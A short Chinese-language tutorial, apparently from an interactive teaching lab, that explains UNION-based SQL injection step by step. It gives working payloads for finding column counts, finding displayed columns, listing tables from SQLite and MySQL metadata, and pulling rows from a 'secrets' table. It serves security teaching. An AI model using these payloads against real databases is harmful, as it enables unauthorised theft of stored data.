UNION-based SQL Injection
UNION 注入是最强大的 SQL 注入技术之一,可以窃取数据库中任意表的数据:
-- 原始查询
SELECT id, username, role FROM users WHERE id=1
-- UNION 注入后
SELECT id, username, role FROM users WHERE id=1
UNION
SELECT id, content, level FROM secrets
↑
窃取 secrets 表的数据!
1. 两个 SELECT 的列数必须相同
2. 对应列的数据类型要兼容
场景:根据 ID 查询用户信息
Step 1: 确定列数
1 ORDER BY 3-- (成功) → 1 ORDER BY 4-- (失败) → 3列
Step 2: 确定显示位
-1 UNION SELECT 1,2,3--
Step 3: 查询表名
-1 UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--
Step 4: 窃取 secrets 表
-1 UNION SELECT id,content,level FROM secrets--
等待输入...
等待查询...
-- id=-1 不存在,原查询返回空
SELECT id, username, role FROM users WHERE id=-1
-- UNION 的结果就是唯一显示的内容
UNION SELECT id, content, level FROM secrets
-- SQLite 查询所有表名
-1 UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--
-- MySQL 查询所有表名
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables--
-- SQLite 查询表结构
-1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='secrets'--